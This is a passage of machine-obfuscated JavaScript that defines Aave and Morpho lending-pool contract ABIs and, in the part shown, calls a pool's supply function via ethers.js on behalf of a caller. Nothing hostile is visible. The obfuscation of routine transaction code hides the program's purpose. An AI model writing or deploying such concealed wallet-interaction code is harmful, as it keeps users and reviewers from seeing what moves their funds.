name: "getUserEMode",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x1d0beb = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x1bd020 = {
internalType: 'address',
name: "aTokenAddress",
type: 'address'
};
const _0x4ceffa = {
internalType: 'address',
name: "stableDebtAddress",
type: 'address'
};
const _0x56fde = {
internalType: 'address',
name: "variableDebtAddress",
type: 'address'
};
const _0x1f9cbf = {
internalType: 'address',
name: "interestRateStrategyAddress",
type: 'address'
};
const _0x13d8d0 = {
inputs: [_0x1d0beb, _0x1bd020, _0x4ceffa, _0x56fde, _0x1f9cbf],
name: "initReserve",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4d40e8 = {
internalType: "contract IPoolAddressesProvider",
name: "provider",
type: 'address'
};
const _0x3e448e = {
inputs: [_0x4d40e8],
name: "initialize",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x326d2e = {
internalType: 'address',
name: "collateralAsset",
type: 'address'
};
const _0x373cac = {
internalType: 'address',
name: "debtAsset",
type: "address"
};
const _0x540bb4 = {
internalType: 'address',
name: "user",
type: 'address'
};
const _0x5cd0fd = {
internalType: "uint256",
name: "debtToCover",
type: "uint256"
};
const _0x129153 = {
internalType: 'bool',
name: "receiveAToken",
type: "bool"
};
const _0x1a76bd = {
inputs: [_0x326d2e, _0x373cac, _0x540bb4, _0x5cd0fd, _0x129153],
name: "liquidationCall",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x7ebea6 = {
internalType: 'address[]',
name: 'assets',
type: "address[]"
};
const _0x234745 = {
inputs: [_0x7ebea6],
name: "mintToTreasury",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x113a69 = {
internalType: 'address',
name: 'asset',
type: 'address'
};
const _0x10de42 = {
internalType: 'uint256',
name: "amount",
type: "uint256"
};
const _0x3f9a60 = {
internalType: "address",
name: 'onBehalfOf',
type: 'address'
};
const _0x277068 = {
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0x4a74bb = {
inputs: [_0x113a69, _0x10de42, _0x3f9a60, _0x277068],
name: "mintUnbacked",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3f0e31 = {
internalType: "address",
name: "asset",
type: 'address'
};
const _0x1f7e42 = {
internalType: "address",
name: "user",
type: 'address'
};
const _0x321461 = {
inputs: [_0x3f0e31, _0x1f7e42],
name: "rebalanceStableBorrowRate",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5d692a = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x8494b5 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x359bf4 = {
internalType: "uint256",
name: "interestRateMode",
type: "uint256"
};
const _0x30fdda = {
internalType: 'address',
name: 'onBehalfOf',
type: 'address'
};
const _0x4c3beb = {
inputs: [_0x5d692a, _0x8494b5, _0x359bf4, _0x30fdda],
name: 'repay',
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x17ca50 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x537b6f = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x2ed3ad = {
internalType: "uint256",
name: "interestRateMode",
type: 'uint256'
};
const _0x28af04 = {
inputs: [_0x17ca50, _0x537b6f, _0x2ed3ad],
name: "repayWithATokens",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1d03af = {
internalType: 'address',
name: 'asset',
type: 'address'
};
const _0x4109cf = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x4fa1bc = {
internalType: 'uint256',
name: "interestRateMode",
type: "uint256"
};
const _0x23e492 = {
internalType: 'address',
name: 'onBehalfOf',
type: 'address'
};
const _0x3d7f7a = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xd21def = {
internalType: "uint8",
name: "permitV",
type: "uint8"
};
const _0x582dd2 = {
internalType: "bytes32",
name: 'permitR',
type: "bytes32"
};
const _0x25001e = {
internalType: "bytes32",
name: "permitS",
type: "bytes32"
};
const _0x52a26a = {
inputs: [_0x1d03af, _0x4109cf, _0x4fa1bc, _0x23e492, _0x3d7f7a, _0xd21def, _0x582dd2, _0x25001e],
name: "repayWithPermit",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x458bf5 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x3ba9fa = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x101522 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x5b9587 = {
inputs: [_0x458bf5, _0x3ba9fa, _0x101522],
name: "rescueTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x305403 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x559fd8 = {
inputs: [_0x305403],
name: "resetIsolationModeTotalDebt",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x9bc579 = {
internalType: "address",
name: "asset",
type: 'address'
};
const _0x161861 = {
internalType: "uint256",
name: 'data',
type: "uint256"
};
const _0x15d3eb = {
components: [_0x161861],
internalType: "struct DataTypes.ReserveConfigurationMap",
name: "configuration",
type: "tuple"
};
const _0x2724cd = {
inputs: [_0x9bc579, _0x15d3eb],
name: "setConfiguration",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x32fcbd = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x43ad22 = {
internalType: 'address',
name: "rateStrategyAddress",
type: 'address'
};
const _0x4e6b29 = {
inputs: [_0x32fcbd, _0x43ad22],
name: "setReserveInterestRateStrategyAddress",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x42e8af = {
internalType: "uint8",
name: "categoryId",
type: "uint8"
};
const _0xb5705 = {
inputs: [_0x42e8af],
name: "setUserEMode",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x176347 = {
internalType: "address",
name: "asset",
type: 'address'
};
const _0xd6b0b6 = {
internalType: 'bool',
name: "useAsCollateral",
type: 'bool'
};
const _0x34114a = {
inputs: [_0x176347, _0xd6b0b6],
name: "setUserUseReserveAsCollateral",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5681c2 = {
internalType: 'address',
name: "asset",
type: "address"
};
const _0x3080db = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x34ce33 = {
internalType: 'address',
name: "onBehalfOf",
type: 'address'
};
const _0x3d34c9 = {
internalType: "uint16",
name: "referralCode",
type: 'uint16'
};
const _0x397410 = {
inputs: [_0x5681c2, _0x3080db, _0x34ce33, _0x3d34c9],
name: "supply",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x235954 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0xbadee8 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x290015 = {
internalType: 'address',
name: 'onBehalfOf',
type: 'address'
};
const _0x44f2ed = {
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0x424bdb = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x136368 = {
internalType: "uint8",
name: "permitV",
type: "uint8"
};
const _0x20204b = {
internalType: "bytes32",
name: 'permitR',
type: "bytes32"
};
const _0x3bbb6b = {
internalType: "bytes32",
name: "permitS",
type: "bytes32"
};
const _0x17db97 = {
inputs: [_0x235954, _0xbadee8, _0x290015, _0x44f2ed, _0x424bdb, _0x136368, _0x20204b, _0x3bbb6b],
name: "supplyWithPermit",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x14af4e = {
internalType: 'address',
name: 'asset',
type: "address"
};
const _0x531147 = {
internalType: "uint256",
name: "interestRateMode",
type: "uint256"
};
const _0x1c3106 = {
inputs: [_0x14af4e, _0x531147],
name: "swapBorrowRateMode",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x766ed4 = {
internalType: "uint256",
name: "protocolFee",
type: "uint256"
};
const _0x3b9dc8 = {
inputs: [_0x766ed4],
name: "updateBridgeProtocolFee",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x41acc6 = {
internalType: "uint128",
name: "flashLoanPremiumTotal",
type: "uint128"
};
const _0x134826 = {
internalType: "uint128",
name: "flashLoanPremiumToProtocol",
type: "uint128"
};
const _0x3bc9e9 = {
inputs: [_0x41acc6, _0x134826],
name: "updateFlashloanPremiums",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4e5141 = {
internalType: 'address',
name: "asset",
type: "address"
};
const _0x1c49ea = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x14b04c = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x2ac8ae = {
inputs: [_0x4e5141, _0x1c49ea, _0x14b04c],
name: "withdraw",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
let _0x54c7be = [_0x2dc93a, _0x348d90, _0x23d345, _0x2274be, _0x4f61d0, _0x173135, _0xb5db4c, _0x4e8e0b, _0x47ad29, _0x57e237, _0x4375e4, _0x12526a, _0x1085bd, _0x3a3829, _0xf2c3f4, _0xae702, _0x49aedb, _0x4008b6, _0x15d4d8, _0x471cce, _0x212c14, _0x6d82fd, _0x4d6a33, _0x3c7c9b, _0x31e424, _0x5f1fd3, _0x136476, _0x4bd76c, _0xe0b1a5, _0x57afaf, _0x33f151, _0x5badc5, _0x11fabd, _0x1b9a25, _0x345b81, _0x56b8e2, _0x174877, _0x3b5ed3, _0xe1548b, _0x4742d0, _0x26452, _0x2d6e1e, _0x13d8d0, _0x3e448e, _0x1a76bd, _0x234745, _0x4a74bb, _0x321461, _0x4c3beb, _0x28af04, _0x52a26a, _0x5b9587, _0x559fd8, _0x2724cd, _0x4e6b29, _0xb5705, _0x34114a, _0x397410, _0x17db97, _0x1c3106, _0x3b9dc8, _0x3bc9e9, _0x2ac8ae];
let _0xd4554f = new ethers.Contract(_0x1d9d78, _0x54c7be, _0x30ef12);
return _0xd4554f.supply(_0x579e7a.asset.token, _0x579e7a.asset.amount, this.caller, 0);
}
case "AaveLP4":
{
const _0x5a954f = {
inputs: [],
name: "BorrowNotPaused",
type: 'error'
};
const _0x33dff0 = {
inputs: [],
name: "ExceedsMaxBasisPoints",
type: 'error'
};
const _0x4eee2d = {
inputs: [],
name: "MarketAlreadyCreated",
type: 'error'
};
const _0xe4d557 = {
inputs: [],
name: "MarketIsDeprecated",
type: "error"
};
const _0x13320b = {
inputs: [],
name: "MarketIsNotListedOnAave",
type: 'error'
};
const _0x2b01fe = {
inputs: [],
name: "MarketNotCreated",
type: "error"
};
const _0x3e3151 = {
inputs: [],
name: "MaxNumberOfMarkets",
type: 'error'
};
const _0x1a3fee = {
inputs: [],
name: "MaxSortedUsersCannotBeZero",
type: "error"
};
const _0x58ad5b = {
inputs: [],
name: "ZeroAddress",
type: "error"
};
const _0x2fa4b7 = {
internalType: "uint64",
name: "supply",
type: "uint64"
};
const _0x3ea13e = {
internalType: "uint64",
name: 'borrow',
type: "uint64"
};
const _0x5399c4 = {
internalType: "uint64",
name: "withdraw",
type: 'uint64'
};
const _0xeee221 = {
internalType: "uint64",
name: 'repay',
type: "uint64"
};
const _0x166222 = {
components: [_0x2fa4b7, _0x3ea13e, _0x5399c4, _0xeee221],
indexed: false,
internalType: "struct Types.MaxGasForMatching",
name: "_defaultMaxGasForMatching",
type: "tuple"
};
const _0x1dfe54 = {
anonymous: false,
inputs: [_0x166222],
name: "DefaultMaxGasForMatchingSet",
type: "event"
};
const _0x109361 = {
indexed: true,
internalType: 'address',
name: "_entryPositionsManager",
type: "address"
};
const _0x48c823 = {
anonymous: false,
inputs: [_0x109361],
name: "EntryPositionsManagerSet",
type: "event"
};
const _0x1f2521 = {
indexed: true,
internalType: 'address',
name: "_exitPositionsManager",
type: 'address'
};
const _0x4dc58b = {
anonymous: false,
inputs: [_0x1f2521],
name: "ExitPositionsManagerSet",
type: "event"
};
const _0x1da9d9 = {
indexed: true,
internalType: 'address',
name: "_interestRatesManager",
type: 'address'
};
const _0x4061fb = {
anonymous: false,
inputs: [_0x1da9d9],
name: "InterestRatesSet",
type: "event"
};
const _0x4294bc = {
indexed: true,
internalType: "address",
name: "_poolToken",
type: 'address'
};
const _0x45a09c = {
indexed: false,
internalType: 'bool',
name: "_isPaused",
type: 'bool'
};
const _0x49271d = {
anonymous: false,
inputs: [_0x4294bc, _0x45a09c],
name: "IsBorrowPausedSet",
type: "event"
};
const _0x4d4761 = {
indexed: true,
internalType: 'address',
name: "_poolToken",
type: "address"
};
const _0x4a0657 = {
indexed: false,
internalType: "bool",
name: "_isDeprecated",
type: "bool"
};
const _0x5b7075 = {
anonymous: false,
inputs: [_0x4d4761, _0x4a0657],
name: "IsDeprecatedSet",
type: "event"
};
const _0x2a081a = {
indexed: true,
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x5d9413 = {
indexed: false,
internalType: 'bool',
name: '_isPaused',
type: 'bool'
};
const _0x1ab529 = {
anonymous: false,
inputs: [_0x2a081a, _0x5d9413],
name: "IsLiquidateBorrowPausedSet",
type: "event"
};
const _0x3e234f = {
indexed: true,
internalType: 'address',
name: "_poolToken",
type: "address"
};
const _0x142837 = {
indexed: false,
internalType: 'bool',
name: '_isPaused',
type: 'bool'
};
const _0x4722b7 = {
anonymous: false,
inputs: [_0x3e234f, _0x142837],
name: "IsLiquidateCollateralPausedSet",
type: "event"
};
const _0x2fc97a = {
indexed: true,
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x52a0e9 = {
indexed: false,
internalType: 'bool',
name: '_isPaused',
type: "bool"
};
const _0xbf62ea = {
anonymous: false,
inputs: [_0x2fc97a, _0x52a0e9],
name: "IsRepayPausedSet",
type: "event"
};
const _0x548128 = {
indexed: true,
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x42ded8 = {
indexed: false,
internalType: "bool",
name: '_isPaused',
type: 'bool'
};
const _0x262907 = {
anonymous: false,
inputs: [_0x548128, _0x42ded8],
name: "IsSupplyPausedSet",
type: "event"
};
const _0x2aa1c2 = {
indexed: true,
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x5c32de = {
indexed: false,
internalType: "bool",
name: '_isPaused',
type: 'bool'
};
const _0x5afa8b = {
anonymous: false,
inputs: [_0x2aa1c2, _0x5c32de],
name: "IsWithdrawPausedSet",
type: "event"
};
const _0x31b37a = {
indexed: true,
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x53efdd = {
indexed: false,
internalType: "uint16",
name: "_reserveFactor",
type: "uint16"
};
const _0x4744f4 = {
indexed: false,
internalType: "uint16",
name: "_p2pIndexCursor",
type: "uint16"
};
const _0x19de12 = {
anonymous: false,
inputs: [_0x31b37a, _0x53efdd, _0x4744f4],
name: "MarketCreated",
type: "event"
};
const _0x5c6420 = {
indexed: false,
internalType: "uint256",
name: "_newValue",
type: "uint256"
};
const _0x3429a2 = {
anonymous: false,
inputs: [_0x5c6420],
name: "MaxSortedUsersSet",
type: "event"
};
const _0x494cb5 = {
indexed: true,
internalType: 'address',
name: "previousOwner",
type: 'address'
};
const _0x2d4ba0 = {
indexed: true,
internalType: 'address',
name: "newOwner",
type: 'address'
};
const _0x194329 = {
anonymous: false,
inputs: [_0x494cb5, _0x2d4ba0],
name: "OwnershipTransferred",
type: "event"
};
const _0x45b033 = {
indexed: true,
internalType: "address",
name: "_poolToken",
type: 'address'
};
const _0x3dfda4 = {
indexed: false,
internalType: "uint16",
name: "_newValue",
type: "uint16"
};
const _0x3aab96 = {
anonymous: false,
inputs: [_0x45b033, _0x3dfda4],
name: "P2PIndexCursorSet",
type: "event"
};
const _0x416efd = {
indexed: true,
internalType: 'address',
name: "_poolToken",
type: "address"
};
const _0xfc2ef = {
indexed: false,
internalType: 'bool',
name: "_isP2PDisabled",
type: 'bool'
};
const _0x35ab34 = {
anonymous: false,
inputs: [_0x416efd, _0xfc2ef],
name: "P2PStatusSet",
type: "event"
};
const _0x33730f = {
indexed: true,
internalType: 'address',
name: '_poolToken',
type: 'address'
};
const _0x4d4725 = {
indexed: false,
internalType: "uint16",
name: "_newValue",
type: "uint16"
};
const _0xba3b06 = {
anonymous: false,
inputs: [_0x33730f, _0x4d4725],
name: "ReserveFactorSet",
type: "event"
};
const _0x177fad = {
indexed: true,
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x341591 = {
indexed: false,
internalType: "uint256",
name: "_amountClaimed",
type: "uint256"
};
const _0x1c7a4f = {
anonymous: false,
inputs: [_0x177fad, _0x341591],
name: "ReserveFeeClaimed",
type: "event"
};
const _0x3816b0 = {
indexed: true,
internalType: 'address',
name: "_newTreasuryVaultAddress",
type: 'address'
};
const _0x6f819 = {
anonymous: false,
inputs: [_0x3816b0],
name: "TreasuryVaultSet",
type: "event"
};
const _0xf017a6 = {
inputs: [],
name: "BORROWING_MASK",
outputs: [{
'internalType': "bytes32",
'name': '',
'type': "bytes32"
}],
stateMutability: 'view',
type: 'function'
};
const _0x3cb1fc = {
internalType: "uint256",
name: '',
type: "uint256"
};
const _0x5b15d5 = {
inputs: [],
name: "DEFAULT_LIQUIDATION_CLOSE_FACTOR",
outputs: [_0x3cb1fc],
stateMutability: 'view',
type: "function"
};
const _0x41e346 = {
inputs: [],
name: "HEALTH_FACTOR_LIQUIDATION_THRESHOLD",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x6167cc = {
inputs: [],
name: "MAX_BASIS_POINTS",
outputs: [{
'internalType': "uint16",
'name': '',
'type': "uint16"
}],
stateMutability: 'view',
type: 'function'
};
const _0x4bd785 = {
inputs: [],
name: "MAX_NB_OF_MARKETS",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x12a18c = {
inputs: [],
name: "NO_REFERRAL_CODE",
outputs: [{
'internalType': "uint8",
'name': '',
'type': "uint8"
}],
stateMutability: 'view',
type: 'function'
};
const _0x44dfac = {
internalType: "bytes32",
name: '',
type: "bytes32"
};
const _0x3c1571 = {
inputs: [],
name: "ONE",
outputs: [_0x44dfac],
stateMutability: 'view',
type: 'function'
};
const _0x50a67b = {
inputs: [],
name: "ST_ETH",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: "function"
};
const _0x3b005e = {
inputs: [],
name: "ST_ETH_BASE_REBASE_INDEX",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x3903ea = {
inputs: [],
name: "VARIABLE_INTEREST_MODE",
outputs: [{
'internalType': "uint8",
'name': '',
'type': "uint8"
}],
stateMutability: 'view',
type: 'function'
};
const _0x411230 = {
internalType: 'address',
name: '',
type: "address"
};
const _0x2ca56c = {
inputs: [],
name: "aaveIncentivesController",
outputs: [_0x411230],
stateMutability: "view",
type: 'function'
};
const _0x2fc3f7 = {
inputs: [],
name: "addressesProvider",
outputs: [{
'internalType': "contract ILendingPoolAddressesProvider",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x469a2b = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x1baf00 = {
internalType: 'uint256',
name: '_amount',
type: "uint256"
};
const _0xdba028 = {
inputs: [_0x469a2b, _0x1baf00],
name: 'borrow',
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x468632 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0xbbcde = {
internalType: "uint256",
name: '_amount',
type: "uint256"
};
const _0x2aa122 = {
internalType: "uint256",
name: "_maxGasForMatching",
type: "uint256"
};
const _0x5be632 = {
inputs: [_0x468632, _0xbbcde, _0x2aa122],
name: 'borrow',
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1168d0 = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x52bb90 = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x42879d = {
internalType: "uint256",
name: "inP2P",
type: "uint256"
};
const _0xe17c4d = {
internalType: "uint256",
name: "onPool",
type: "uint256"
};
const _0x36ced4 = {
inputs: [_0x1168d0, _0x52bb90],
name: "borrowBalanceInOf",
outputs: [_0x42879d, _0xe17c4d],
stateMutability: 'view',
type: "function"
};
const _0x499f83 = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x160660 = {
internalType: "bytes32",
name: '',
type: "bytes32"
};
const _0x20207d = {
inputs: [_0x499f83],
name: "borrowMask",
outputs: [_0x160660],
stateMutability: 'view',
type: 'function'
};
const _0x465414 = {
internalType: "address[]",
name: '',
type: "address[]"
};
const _0x381269 = {
internalType: 'bool',
name: '',
type: "bool"
};
const _0x37d37e = {
inputs: [_0x465414, _0x381269],
name: "claimRewards",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3d1c6f = {
internalType: "address[]",
name: "_poolTokens",
type: "address[]"
};
const _0x518134 = {
internalType: "uint256[]",
name: '_amounts',
type: "uint256[]"
};
const _0x5f289f = {
inputs: [_0x3d1c6f, _0x518134],
name: "claimToTreasury",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1dfad5 = {
internalType: 'address',
name: "_underlyingToken",
type: 'address'
};
const _0x55c089 = {
internalType: "uint16",
name: "_reserveFactor",
type: "uint16"
};
const _0x288909 = {
internalType: "uint16",
name: "_p2pIndexCursor",
type: "uint16"
};
const _0x31ecfb = {
inputs: [_0x1dfad5, _0x55c089, _0x288909],
name: "createMarket",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0xf142ae = {
inputs: [],
name: "defaultMaxGasForMatching",
outputs: [{
'internalType': "uint64",
'name': "supply",
'type': "uint64"
}, {
'internalType': 'uint64',
'name': 'borrow',
'type': "uint64"
}, {
'internalType': "uint64",
'name': "withdraw",
'type': "uint64"
}, {
'internalType': "uint64",
'name': 'repay',
'type': "uint64"
}],
stateMutability: 'view',
type: 'function'
};
const _0x8353fa = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x245ca8 = {
inputs: [_0x8353fa],
name: 'deltas',
outputs: [{
'internalType': 'uint256',
'name': "p2pSupplyDelta",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "p2pBorrowDelta",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "p2pSupplyAmount",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "p2pBorrowAmount",
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x4c44e5 = {
inputs: [],
name: "entryPositionsManager",
outputs: [{
'internalType': "contract IEntryPositionsManager",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x4b654c = {
internalType: "contract IExitPositionsManager",
name: '',
type: "address"
};
const _0x32bf29 = {
inputs: [],
name: "exitPositionsManager",
outputs: [_0x4b654c],
stateMutability: 'view',
type: 'function'
};
const _0x318a0d = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x5d81f8 = {
internalType: "enum Types.PositionType",
name: "_positionType",
type: 'uint8'
};
const _0x34e4b2 = {
internalType: 'address',
name: "head",
type: 'address'
};
const _0x26bda1 = {
inputs: [_0x318a0d, _0x5d81f8],
name: 'getHead',
outputs: [_0x34e4b2],
stateMutability: 'view',
type: 'function'
};
const _0x13e214 = {
inputs: [],
name: "getMarketsCreated",
outputs: [{
'internalType': "address[]",
'name': '',
'type': "address[]"
}],
stateMutability: 'view',
type: 'function'
};
const _0x1066b3 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0xd0d41d = {
internalType: "enum Types.PositionType",
name: "_positionType",
type: "uint8"
};
const _0xbd1bf2 = {
internalType: "address",
name: "_user",
type: "address"
};
const _0x239798 = {
internalType: 'address',
name: "next",
type: 'address'
};
const _0x2ea655 = {
inputs: [_0x1066b3, _0xd0d41d, _0xbd1bf2],
name: "getNext",
outputs: [_0x239798],
stateMutability: "view",
type: 'function'
};
const _0x35981b = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x1a0320 = {
inputs: [],
name: "incentivesVault",
outputs: [_0x35981b],
stateMutability: 'view',
type: 'function'
};
const _0x225b02 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x139467 = {
internalType: "uint256",
name: "_amount",
type: "uint256"
};
const _0xbd6e18 = {
inputs: [_0x225b02, _0x139467],
name: "increaseP2PDeltas",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x164d37 = {
internalType: "contract IEntryPositionsManager",
name: "_entryPositionsManager",
type: 'address'
};
const _0x1db630 = {
internalType: "contract IExitPositionsManager",
name: "_exitPositionsManager",
type: 'address'
};
const _0x3923bc = {
internalType: "contract IInterestRatesManager",
name: "_interestRatesManager",
type: 'address'
};
const _0x40219b = {
internalType: "contract ILendingPoolAddressesProvider",
name: "_lendingPoolAddressesProvider",
type: 'address'
};
const _0x4a2be3 = {
internalType: "uint64",
name: "supply",
type: "uint64"
};
const _0x11b2c6 = {
internalType: "uint64",
name: 'borrow',
type: "uint64"
};
const _0x311a5d = {
internalType: "uint64",
name: "withdraw",
type: "uint64"
};
const _0x26340a = {
internalType: "uint64",
name: 'repay',
type: "uint64"
};
const _0x19968e = {
components: [_0x4a2be3, _0x11b2c6, _0x311a5d, _0x26340a],
internalType: "struct Types.MaxGasForMatching",
name: "_defaultMaxGasForMatching",
type: 'tuple'
};
const _0x31b671 = {
internalType: 'uint256',
name: "_maxSortedUsers",
type: "uint256"
};
const _0x180f1e = {
inputs: [_0x164d37, _0x1db630, _0x3923bc, _0x40219b, _0x19968e, _0x31b671],
name: "initialize",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x123c60 = {
internalType: "contract IInterestRatesManager",
name: '',
type: 'address'
};
const _0x1c082f = {
inputs: [],
name: "interestRatesManager",
outputs: [_0x123c60],
stateMutability: 'view',
type: 'function'
};
const _0x513ba4 = {
internalType: 'bool',
name: '',
type: 'bool'
};
const _0x27a294 = {
inputs: [],
name: "isClaimRewardsPaused",
outputs: [_0x513ba4],
stateMutability: 'view',
type: "function"
};
const _0x17a2d1 = {
internalType: 'address',
name: "_poolTokenBorrowed",
type: 'address'
};
const _0x326a10 = {
internalType: 'address',
name: "_poolTokenCollateral",
type: "address"
};
const _0x45d059 = {
internalType: "address",
name: '_borrower',
type: 'address'
};
const _0x4672f8 = {
internalType: "uint256",
name: '_amount',
type: "uint256"
};
const _0x408ae6 = {
inputs: [_0x17a2d1, _0x326a10, _0x45d059, _0x4672f8],
name: "liquidate",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5ca025 = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x667744 = {
inputs: [_0x5ca025],
name: "market",
outputs: [{
'internalType': 'address',
'name': "underlyingToken",
'type': 'address'
}, {
'internalType': "uint16",
'name': "reserveFactor",
'type': "uint16"
}, {
'internalType': "uint16",
'name': "p2pIndexCursor",
'type': "uint16"
}, {
'internalType': 'bool',
'name': "isCreated",
'type': "bool"
}, {
'internalType': 'bool',
'name': "isPaused",
'type': 'bool'
}, {
'internalType': 'bool',
'name': "isPartiallyPaused",
'type': "bool"
}, {
'internalType': 'bool',
'name': "isP2PDisabled",
'type': 'bool'
}],
stateMutability: 'view',
type: 'function'
};
const _0x401fac = {
internalType: "address",
name: '',
type: 'address'
};
const _0x281bad = {
internalType: 'bool',
name: "isSupplyPaused",
type: 'bool'
};
const _0x1652e3 = {
internalType: "bool",
name: "isBorrowPaused",
type: "bool"
};
const _0x1d11cc = {
internalType: 'bool',
name: "isWithdrawPaused",
type: 'bool'
};
const _0x55fa0c = {
internalType: "bool",
name: "isRepayPaused",
type: "bool"
};
const _0x29a537 = {
internalType: 'bool',
name: "isLiquidateCollateralPaused",
type: 'bool'
};
const _0x4969f8 = {
internalType: 'bool',
name: "isLiquidateBorrowPaused",
type: "bool"
};
const _0x5f4233 = {
internalType: 'bool',
name: "isDeprecated",
type: 'bool'
};
const _0x5adecf = {
inputs: [_0x401fac],
name: "marketPauseStatus",
outputs: [_0x281bad, _0x1652e3, _0x1d11cc, _0x55fa0c, _0x29a537, _0x4969f8, _0x5f4233],
stateMutability: 'view',
type: 'function'
};
const _0x3ec61d = {
internalType: "uint256",
name: '',
type: "uint256"
};
const _0x467b25 = {
inputs: [],
name: "maxSortedUsers",
outputs: [_0x3ec61d],
stateMutability: "view",
type: 'function'
};
const _0x118e9f = {
inputs: [],
name: "owner",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: "view",
type: 'function'
};
const _0x1b165a = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x50f6ae = {
inputs: [_0x1b165a],
name: "p2pBorrowIndex",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "view",
type: "function"
};
const _0x3a6bdb = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x19705b = {
inputs: [_0x3a6bdb],
name: "p2pSupplyIndex",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x5de9b8 = {
inputs: [],
name: "pool",
outputs: [{
'internalType': "contract ILendingPool",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x25bad3 = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x1ab3ab = {
internalType: "uint32",
name: "lastUpdateTimestamp",
type: "uint32"
};
const _0x9388e1 = {
